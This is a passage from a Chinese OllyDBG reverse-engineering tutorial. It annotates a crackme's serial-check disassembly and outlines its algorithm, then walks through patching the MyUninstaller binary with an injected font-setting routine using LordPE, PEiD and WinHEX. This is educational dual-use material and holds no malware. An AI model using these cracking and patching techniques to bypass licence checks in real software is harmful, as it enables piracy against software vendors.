class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">004010E2 |. 8BFE MOV EDI,ESI ; 用户名送 EDI</span><br><span class="line">004010E4 |. 03F8 ADD EDI,EAX</span><br><span class="line">004010E6 |. FC CLD</span><br><span class="line">004010E7 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]</span><br><span class="line">004010E9 |. 33C9 XOR ECX,ECX ; 清零,设循环计数器</span><br><span class="line">004010EB |. BE 71214000 MOV ESI,cycle.00402171 ; 注册码送 ESI</span><br><span class="line">004010F0 |> 41 INC ECX</span><br><span class="line">004010F1 |. AC LODS BYTE PTR DS:[ESI] ; 取注册码的每个字符</span><br><span class="line">004010F2 |. 0AC0 OR AL,AL ; 判断是否为空</span><br><span class="line">004010F4 |. 74 0A JE SHORT cycle.00401100 ; 没有则跳走</span><br><span class="line">004010F6 |. 3C 7E CMP AL,7E ; 判断字符是否为非 ASCII 字符</span><br><span class="line">004010F8 |. 7F 06 JG SHORT cycle.00401100 ; 非 ASCII 字符跳走</span><br><span class="line">004010FA |. 3C 30 CMP AL,30 ; 看是否小于 30H,主要是判断是不是数字或字母等</span><br><span class="line">004010FC |. 72 02 JB SHORT cycle.00401100 ; 小于跳走</span><br><span class="line">004010FE |.^ EB F0 JMP SHORT cycle.004010F0</span><br><span class="line">00401100 |> 83F9 11 CMP ECX,11 ; 比较注册码位数,必须为十进制 17 位</span><br><span class="line">00401103 |. 75 1A JNZ SHORT cycle.0040111F</span><br><span class="line">00401105 |. E8 E7000000 CALL cycle.004011F1 ; 关键, F7 跟进去</span><br><span class="line">0040110A |. B9 01FF0000 MOV ECX,0FF01</span><br><span class="line">0040110F |. 51 PUSH ECX</span><br><span class="line">00401110 |. E8 7B000000 CALL cycle.00401190 ; 关键,跟进去</span><br><span class="line">00401115 |. 83F9 01 CMP ECX,1</span><br><span class="line">00401118 |. 74 06 JE SHORT cycle.00401120</span><br><span class="line">0040111A |> E8 47000000 CALL cycle.00401166 ; 注册失败对话框</span><br><span class="line">0040111F |> C3 RETN</span><br><span class="line">00401120 |> A1 68214000 MOV EAX,DWORD PTR DS:[402168]</span><br><span class="line">00401125 |. 8B1D 6C214000 MOV EBX,DWORD PTR DS:[40216C]</span><br><span class="line">0040112B |. 33C3 XOR EAX,EBX</span><br><span class="line">0040112D |. 3305 82214000 XOR EAX,DWORD PTR DS:[402182]</span><br><span class="line">00401133 |. 0D 40404040 OR EAX,40404040</span><br><span class="line">00401138 |. 25 77777777 AND EAX,77777777</span><br><span class="line">0040113D |. 3305 79214000 XOR EAX,DWORD PTR DS:[402179]</span><br><span class="line">00401143 |. 3305 7D214000 XOR EAX,DWORD PTR DS:[40217D]</span><br><span class="line">00401149 |.^ 75 CF JNZ SHORT cycle.0040111A ; 这里跳走就完蛋</span><br><span class="line">0040114B |. E8 2B000000 CALL cycle.0040117B ; 注册成功对话框</span><br></pre></td></tr></table></figure><p>写到这准备跟踪算法时,才发现这个 crackme 还是挺复杂的,具体算法我就不写了,实在没那么多时间详细跟踪。有兴趣的可以跟一下,<strong>注册码是 17 位,用户名采用复制的方式扩展到 16 位,如我输入“CCDebuger”,扩展后就是“CCDebugerCCDebug”。大致是先取扩展后用户名的前 8 位和注册码的前 8 位,把用户名的前四位和后四位分别与注册码的前四位和后四位进行运算,算完后再把扩展后用户名的后 8 位和注册码的后 8 位分两部分,再与前面用户名和注册码的前 8 位计算后的值进行异或计算,最后结果等于 0 就成功</strong>。注册码的第 17 位我尚未发现有何用处。对于新手来说,可能这个 crackme 的难度大了一点。没关系,我们主要是学习 OllyDBG 的使用,方法掌握就可以了。</p><p>最后说明一下:</p><ol><li>这个程序在设置了消息断点后可以省略在代码段上设访问断点那一步,直接打开 RUN 跟踪,消息断点断下后按 <code>CTR+F12 组合键</code>让程序执行, RUN 跟踪记录中就可以找到关键地方。</li><li>对于这个程序,你可以不设消息断点,在输入用户名和注册码后先不按那个“Check”按钮,直接打开 RUN 跟踪,添加“所有函数过程的入口”后再回到程序中点“Check”按钮,这时在 OllyDBG 中打开 RUN 跟踪记录同样可以找到关键位置。 </li></ol><h2 id="汇编功能"><a href="#汇编功能" class="headerlink" title="汇编功能"></a>汇编功能</h2><p>今天我们的目标程序是 MyUninstaller 1.34 版。这是一个非常小的程序卸载工具, VC6 编写,大小只有61K。我拿到的这个是上次闪电狼兄弟给我的,附带在里面的简体中文语言文件是由六芒星制作的。这个程序有个毛病:就是在列出的可卸载程序上双击查看属性时,<strong>弹出的属性窗口的字体非常难看</strong>,应该就是系统字体(SYSTEM_FONT): </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002171853600.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002171853600.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002171853600"></p><p>我们今天的目标就是<strong>利用 OllyDBG 的汇编功能把上面显示的字体改成我们常见的 9 号(小五)宋体</strong>。首先我们用 OllyDBG 载入程序,按 <em>CTR+N 组合键</em>查找一下有哪些 API 函数,只发现一个和设置字体相关的 <strong>CreateFontIndirectA</strong>。现在我们按鼠标右键,选择“在每个参考上设置断点”,关掉名称对话框, F9 运行,程序已经运行起来了。我们在程序的列表框中随便找一项双击一下,很不幸,那个字体难看的界面又出现了, OllyDBG 没有任何动作。<strong>可见创建这个窗口的时候根本没调用 CreateFontIndirectA</strong>,问题现在就变得有点复杂了。先点确定把这个字体难看的对话框关闭,现在我们从另一个方面考虑:<strong>既然没有调用设置字体的函数,那我们来看看这个窗口是如何创建的</strong>,跟踪窗口创建过程可能会找到一些对我们有用的信息。现在我们再回到我们调试程序的领空,按 <strong>CTR+N 看一下,发现 CreateWindowExA 这个 API 函数比较可疑</strong>。我们在 <strong>CreateWindowExA 函数的每个参考上设上断点</strong>,在 <strong>MyUninstaller 的列表框中再随便找一项双击一下</strong>,被 OllyDBG 断下: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00408F5E |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \断在这里</span><br></pre></td></tr></table></figure><p>上下翻看一下代码: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">00408F3B |. 50 |PUSH EAX ; |hInst</span><br><span class="line">00408F3C |. 8B45 C0 |MOV EAX,DWORD PTR SS:[EBP-40] ; |</span><br><span class="line">00408F3F |. 6A 00 |PUSH 0 ; |hMenu = NULL</span><br><span class="line">00408F41 |. 03C6 |ADD EAX,ESI ; |</span><br><span class="line">00408F43 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |hParent</span><br><span class="line">00408F46 |. FF75 D0 |PUSH DWORD PTR SS:[EBP-30] ; |Height</span><br><span class="line">00408F49 |. 57 |PUSH EDI ; |Width</span><br><span class="line">00408F4A |. 50 |PUSH EAX ; |Y</span><br><span class="line">00408F4B |. FF75 BC |PUSH DWORD PTR SS:[EBP-44] ; |X</span><br><span class="line">00408F4E |. FF75 EC |PUSH DWORD PTR SS:[EBP-14] ; |Style</span><br><span class="line">00408F51 |. 68 80DE4000 |PUSH myuninst.0040DE80 ; |WindowName = ""</span><br><span class="line">00408F56 |. 68 DCD94000 |PUSH myuninst.0040D9DC ; |Class = "STATIC"</span><br><span class="line">00408F5B |. FF75 D4 |PUSH DWORD PTR SS:[EBP-2C] ; |ExtStyle</span><br><span class="line">00408F5E |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \断在这里</span><br><span class="line">00408F64 | 6A 00 |PUSH 0 ; 第一处要修改的地方</span><br><span class="line">00408F66 | 8945 F4 |MOV DWORD PTR SS:[EBP-C],EAX</span><br><span class="line">00408F69 |. E8 A098FFFF |CALL <myuninst.sub_40280E></span><br><span class="line">00408F6E |. 50 |PUSH EAX ; |hInst</span><br><span class="line">00408F6F |. 8B45 DC |MOV EAX,DWORD PTR SS:[EBP-24] ; |</span><br><span class="line">00408F72 |. 6A 00 |PUSH 0 ; |hMenu = NULL</span><br><span class="line">00408F74 |. 03F0 |ADD ESI,EAX ; |</span><br><span class="line">00408F76 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |hParent</span><br><span class="line">00408F79 |. FF75 CC |PUSH DWORD PTR SS:[EBP-34] ; |Height</span><br><span class="line">00408F7C |. 53 |PUSH EBX ; |Width</span><br><span class="line">00408F7D |. 56 |PUSH ESI ; |Y</span><br><span class="line">00408F7E |. FF75 D8 |PUSH DWORD PTR SS:[EBP-28] ; |X</span><br><span class="line">00408F81 |. FF75 E8 |PUSH DWORD PTR SS:[EBP-18] ; |Style00408F84 |. 68 80DE4000 |PUSH myuninst.0040DE80 ; |WindowName = ""</span><br><span class="line">00408F89 |. 68 D4D94000 |PUSH myuninst.0040D9D4 ; |Class = "EDIT"</span><br><span class="line">00408F8E |. FF75 B8 |PUSH DWORD PTR SS:[EBP-48] ; |ExtStyle</span><br><span class="line">00408F91 |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \CreateWindowExA</span><br><span class="line">00408F97 | 8945 F0 |MOV DWORD PTR SS:[EBP-10],EAX ; 第二处要修改的地方</span><br><span class="line">00408F9A | 8B45 F8 |MOV EAX,DWORD PTR SS:[EBP-8]</span><br><span class="line">00408F9D |. FF30 |PUSH DWORD PTR DS:[EAX] ; /<%s></span><br><span class="line">00408F9F |. 8D85 B0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-150] ; |</span><br><span class="line">00408FA5 |. 68 D0D94000 |PUSH myuninst.0040D9D0 ; |format = "%s:"</span><br><span class="line">00408FAA |. 50 |PUSH EAX ; |s</span><br><span class="line">00408FAB |. FF15 90B14000 |CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ; \</span><br><span class="line">sprintf</span><br><span class="line">00408FB1 |. 8B35 84B24000 |MOV ESI,DWORD PTR DS:[<&USER32.SetWindowTextA>] ; USER32.SetWindowTextA</span><br><span class="line">00408FB7 |. 83C4 0C |ADD ESP,0C</span><br><span class="line">00408FBA |. 8D85 B0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-150]</span><br><span class="line">00408FC0 |. 50 |PUSH EAX ; /Text</span><br><span class="line">00408FC1 |. FF75 F4 |PUSH DWORD PTR SS:[EBP-C] ; |hWnd</span><br><span class="line">00408FC4 |. FFD6 |CALL ESI ; \SetWindowTextA</span><br><span class="line">00408FC6 |. 8D85 ACFAFFFF |LEA EAX,DWORD PTR SS:[EBP-554]</span><br><span class="line">00408FCC |. 50 |PUSH EAX ; /Arg3</span><br><span class="line">00408FCD |. FF75 FC |PUSH DWORD PTR SS:[EBP-4] ; |Arg2</span><br><span class="line">00408FD0 |. FF35 00EF4000 |PUSH DWORD PTR DS:[40EF00] ; |Arg1 = 00BEADCC</span><br><span class="line">00408FD6 |. E8 1884FFFF |CALL <myuninst.sub_4013F3> ; \sub_4013F300408FDB |. 83C4 0C |ADD ESP,0C</span><br><span class="line">00408FDE |. 50 |PUSH EAX</span><br><span class="line">00408FDF |. FF75 F0 |PUSH DWORD PTR SS:[EBP-10]</span><br><span class="line">00408FE2 |. FFD6 |CALL ESI</span><br><span class="line">00408FE4 |. FF45 FC |INC DWORD PTR SS:[EBP-4]</span><br><span class="line">00408FE7 |. 8345 F8 14 |ADD DWORD PTR SS:[EBP-8],14</span><br><span class="line">00408FEB |. 837D FC 0F |CMP DWORD PTR SS:[EBP-4],0F</span><br><span class="line">00408FEF |.^ 0F8C 32FFFFFF \JL <myuninst.loc_408F27></span><br><span class="line">00408FF5 |. 5F POP EDI</span><br><span class="line">00408FF6 |. 5E POP ESI</span><br><span class="line">00408FF7 |. 5B POP EBX</span><br><span class="line">00408FF8 |. C9 LEAVE</span><br><span class="line">00408FF9 \. C3 RETN</span><br></pre></td></tr></table></figure><p>我想上面的代码我不需多做解释, OllyDBG 自动给出的注释已经够清楚的了。我们双击 MyUninstaller 列表框中的的某项查看属性时,弹出的属性窗口上的 <strong>STATIC 控件和 EDIT 控件都是由 CreateWindowExA 函数创建的</strong>,然后再<strong>调用 SetWindowTextA 来设置文本</strong>,<strong>根本没考虑控件上字体显示的问题</strong>,所以我们看到的都是系统默认的字体。我们要设置控件上的字体,<strong>可以考虑在 CreateWindowExA 创建完控件后,在使用SetWindowTextA 函数设置文本之前调用相关字体创建函数来选择字体</strong>,再<strong>调用 SendMessageA 函数发送 WM_SETFONT 消息来设置控件字体</strong>。</p><p>思路定下来后,我们就开始来实施。首先我们看一下这个程序中的导入函数, CreateFontIndirectA 这个字体创建函数已经有了,再看看 SendMessageA,呵呵,不错,原程序也有这个函数。这样我们就省事了。有人可能要问,<strong>如果原来并没有这两个导入函数,那怎么办呢</strong>?其实这也很简单,我们可以直接<strong>用 LordPE 来在程序中添加我们需要的导入函数</strong>。我这里用个<strong>很小的 PE 工具 zeroadd 来示范一下</strong>,这个程序里面没有 CreateFontIndirectA 和 SendMessageA 函数(这里还有个问题说一下,其实<strong>我们编程时调用这两个函数时都是直接写 CreateFontIndirect 及 SendMessage,一般不需指定</strong>。但在程序中写补丁代码时我们要指定这是什么类型的函数。这里在函数后面加个“A”表示这是 ASCII 版本,同样 UNICODE 版本在后面加个“W”,如 SendMessageW。在 Win9X 下我们一般都用 ASCII 版本的函数, UNICODE 版本的函数很多在 Win9X 下是不能运行的。而 NT 系统如 WinXP 一般都是 UNICODE 版本的,但如果我们用了 ASCII 版本的函数,系统会自动转换调用 UNICODE 版本。这样我们写补丁代码的时候就可以直接指定为 ASCII 版本的函数,可以兼容各个系统):我们用 LordPE 的 PE 编辑器载入 zeroadd 程序,选择“目录”,再在弹出的目录表对话框中选择输入表后面的那个“…”按钮,会弹出一个对话框:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002174344625.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002174344625.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002174344625"></p><p>因为 SendMessageA 在 USER32.dll 中,我们在右键菜单中点击按钮“添加导入表”,来到下面: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002180507178.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002180507178.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002180507178"></p><p>按上面的提示完成后点“确定”,我们回到原先的那个“输入表”对话框: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002180306282.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002180306282.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002180306282"></p><p>从上图中<strong>我们可以看出多出了一个 USER32.dll</strong>,这就是我们添加 SendMessageA 的结果。这也是<strong>用工具添加的一个缺点</strong>。我们一般希望把添加的函数直接放到已存在的 DLL 中,而不是多出来一个,这样显得不好看。但用工具就没办法, <strong>LordPE 默认是建一个 1K 的新区段来保存添加后的结果</strong>,由此出现了上图中的情况。如果你对 PE 结构比较熟悉的话,也可以直接用 16 进制编辑工具来添加你需要的函数,这样改出来的东西好看。如果想偷懒,就像我一样用工具吧,呵呵。</p><p>在上图中我还标出了要注意 <strong>FirstThunk</strong> 及那个 <strong>ThunkRVA</strong> 的值,并且要把“<strong>总是查看 FirstThunk</strong>”那个选项选上。</p><p>有人可能不理解其作用,我这里也解释一下:一般讲述 PE 格式的文章中对 FirstThunk 的解释是这样的: FirstThunk 包含指向一个IMAGE_THUNK_DATA 结构数组的 RVA 偏移地址,当把 PE 文件装载到内存中时, PE 装载器将查找 IMAGE_THUNK_DATA 和IMAGE_IMPORT_BY_NAME 这些结构数组来决定导入函数的地址,随后用导入函数真实地址来替代由 FirstThunk 指向的 IMAGE_THUNK_DATA 数组里的元素值。</p><p>这样说起来还是让人不明白,我举个例子:比如你有个很要好的朋友,他是个大忙人,虽然你知道他的家庭住址,可他很少回家。如果你哪天想找他,直接去他家,很可能吃个闭门羹,找不到他人。怎么办?幸好你有他的手机号码,你就给他拨了一个电话: “小子,你在哪呢? ”,他告诉你: “我正在 XXX 饭店喝酒呢! ”这时你怎么办?(当然是杀到他说的那家饭店去蹭饭了! ^_^)这里的 <strong>ThunkRVA 就相当于你朋友的手机号码</strong>, <strong>SendMessageA 就相当于你那个朋友</strong>。而 <strong>FirstThunk 就是你手机里的号码分组</strong>。你把你的多个朋友都放在 FirstThunk 这样的号码分组里,每个 ThunkRVA 就是你一个朋友的手机号码。你要找他们,就是通过 ThunkRVA 这样的手机号码来和他们联系,直接去他家找他你很可能要碰壁。而<strong>移动或联通就相当于操作系统</strong>,他们<strong>负责把你的手机号码和你的朋友对应上</strong>。而 FirstThunk 这样的号码分组还有一个好处就是你可以不记你某个朋友的具体号码,只要记得 FirstThunk 号码分组的值,你的朋友会按顺序在里面排列。比如上图中 USER32.dll 中的第一个函数是 SendMessageA,它的 ThunkRVA 值就是 FirstThunk 值。<strong>如果还有第二个函数,比如是 MessageBoxA,它的值就是 FirstThunk 值加上 4</strong>,其余推。你只要记住各个函数的位置,也可以通过 FirstThunk 加上位置对应值来找到它。当然这比不上直接看 ThunkRVA 来得方便。</p><p>说了上面这些,我们就要考虑怎么在程序中调用了。你可能会说,我在 OllyDBG 中直接在我们要修改的程序中这样调用: CALL SendMessageA。哦,别这样。这等于我上面说的都是废话,会让我感到伤心的。你这里的 <strong>CALL SendMessageA 就相当于也不跟你朋友打个招呼就直接去他家找他,很有可能你会乘兴而去,败兴而归</strong>。别忘了他的手机号码,我们<strong>只有通过号码才知道他到底在什么地方</strong>。我们应该这样: <strong>CALL DWORD PTR [40B01A]</strong>,<strong>这里的 40B01A 就是上面的 SendMessageA 在程序载入后的所在的地方</strong>,<strong>由基址 00400000 加上 ThunkRVA 0000B01A 得到的</strong>。这就是你要找的人所在的地方,不管他跑到哪,你有他的手机号码就能找到他。同样道理,你<strong>只要记住了 ThunkRVA 值,就按这个来调用你需要的函数</strong>,在<strong>别的 Windows 系统下也是没有问题</strong>的。<strong>系统会自动把你要找到函数和 ThunkRVA 值对应上</strong>。而你在 OllyDBG 中写 CALL SendMessageA,可能你在你的系统上成功了,可放到别的系统下就要出错了。为什么?因为你找的人已经不在原来的位置了,他跑到别的地方去了。你还到老地方找他,当然看不见人了。说了这么多废话,也不知大家听明白了没有,别越听越糊涂就行了。总之一句话,<strong><em>别像 CALL SendMessageA 这样直接调用某个函数,而应该通过 ThunkRVA 值来调用它</em></strong>。</p><p>下面我们回到我们要修改的 MyUninstaller 上来,先用 LordPE打开看一下,呵呵,原来 CreateFontIndirectA 和 SendMessageA 原程序里面都有了,省了我们不少事情。看一下这两个函数的 ThunkRVA 值,CreateFontIndirectA 在 GDI32.dll 里面, ThunkRVA 值是 0000B044,这样我们就知道在程序中调用它的时候就是 CALL DWORD PTR[0040B044]。同样, SendMessageA 的 ThunkRVA 值是 0000B23C,调用时应该是这样: CALL DWORD PTR [0040B23C]。了解了这些东西我们就来考虑怎么写代码了。 </p><p>首先我们来看一下 CreateFontIndirectA 和 SendMessageA 这两个函数的定义: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CreateFontIndirectA:</span><br><span class="line"><span class="function">HFONT <span class="title">CreateFontIndirect</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">CONST LOGFONT *lplf <span class="comment">// pointer to logical font structure</span></span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br><span class="line"><span class="comment">//CreateFontIndirect 的返回值就是字体的句柄。 </span></span><br></pre></td></tr></table></figure><p>对于这个函数我们需要的参数就是给它一个 <strong>LOGFONT 的字体结构指针</strong>,我们只要在要修改程序的空白处建一个标准的 9 号(小五)宋体的 LOGFONT 字体结构,再把指针给 CreateFontIndirectA 就可以了。 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">SendMessageA:</span><br><span class="line"><span class="function">LRESULT <span class="title">SendMessage</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function"> HWND hWnd, <span class="comment">// handle of destination window</span></span></span></span><br><span class="line"><span class="params"><span class="function"> UINT Msg, <span class="comment">// message to send</span></span></span></span><br><span class="line"><span class="params"><span class="function"> WPARAM wParam, <span class="comment">// first message parameter</span></span></span></span><br><span class="line"><span class="params"><span class="function"> LPARAM lParam <span class="comment">// second message parameter</span></span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p>上面的<strong>第一个参数是窗口句柄</strong>,我们知道 <strong>CreateWindowExA 返回的就是窗口句柄</strong>,我们可以直接拿来用。<strong>第二个消息参数我们这里是设置字体</strong>,选 WM_SETFONT,这个值是 30H。<strong>第三个参数是字体句柄</strong>,可以<strong>由上面的 CreateFontIndirectA 获得</strong>。第四个参数我们不需要,留空。现在我们准备开始写代码,首先我们要在程序中建一个标准 9 号宋体的 LOGFONT,以便于我们调用。对于 LOGFONT,我们再来看一下定义: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">tagLOGFONT</span> {</span> <span class="comment">// lf</span></span><br><span class="line"> LONG lfHeight;</span><br><span class="line"> LONG lfWidth;</span><br><span class="line"> LONG lfEscapement;</span><br><span class="line"> LONG lfOrientation;</span><br><span class="line"> LONG lfWeight;</span><br><span class="line"> BYTE lfItalic;</span><br><span class="line"> BYTE lfUnderline;</span><br><span class="line"> BYTE lfStrikeOut;</span><br><span class="line"> BYTE lfCharSet;</span><br><span class="line"> BYTE lfOutPrecision;</span><br><span class="line"> BYTE lfClipPrecision;</span><br><span class="line"> BYTE lfQuality;</span><br><span class="line"> BYTE lfPitchAndFamily;</span><br><span class="line"> TCHAR lfFaceName[LF_FACESIZE];</span><br><span class="line">} LOGFONT;</span><br></pre></td></tr></table></figure><p>这样我们的标准 9 号宋体的 LOGFONT 值应该是 32 字节, 16 进制就像这样:<code>F4FFFFFF000000000000000000000000900100000000008600000000CBCECCE5</code>.</p><p>现在在程序中找个空地。我们用 PEiD 来帮助我们寻找,用 PEiD 打开程序,点 EP 段后面的那个 > 号,随便选择一个区段右击,选“搜索全0 处”(原版好像是 cave 什么的): </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002191206824.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002191206824.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002191206824"></p><p>我们看到 PEiD 把搜索到的空间都给我们列出来了: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002191245805.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002191245805.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002191245805"></p><p>现在我们用 WinHEX 打开我们要修改的程序,转到偏移 9815 处,从 9815 处选择 32 字节(16 进制是 0X20)的一个选块,把光标定位到 9815 处,右键选择菜单 剪贴板数据->写入(从当前位置覆写),随后的格式选择 ASCII Hex,把我们 LOGFONT 的 16 进制值 <code>F4FFFFFF000000000000000000000000900100000000008600000000CBCECCE5</code> 写入保存。现在我们用 OllyDBG 载入已添加了 LOGFONT 数据的程序,先转到 VA 40A415 处(从上图中看到的)往下看一下: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002191423025.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002191423025.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002191423025"></p><p>因为 SendMessageA 还要用到一个窗口句柄,我们可以通过前面的 CreateWindowExA 来获得。现在我们就把前一张图中的 .rdata 区段中的地址 0040C56E 作为我们保存窗口句柄 HWND 值的临时空间。一切就绪,开始写代码。先回顾一下我们最先说的那两个要修改的地方: </p><p>第一个要改的地方: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">00408F5E |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \CreateWindowExA</span><br><span class="line">00408F64 6A 00 PUSH 0 ; 修改前</span><br><span class="line">00408F66 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX</span><br><span class="line">00408F69 |. E8 A098FFFF |CALL <myuninst.sub_40280E></span><br></pre></td></tr></table></figure><p>修改后: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 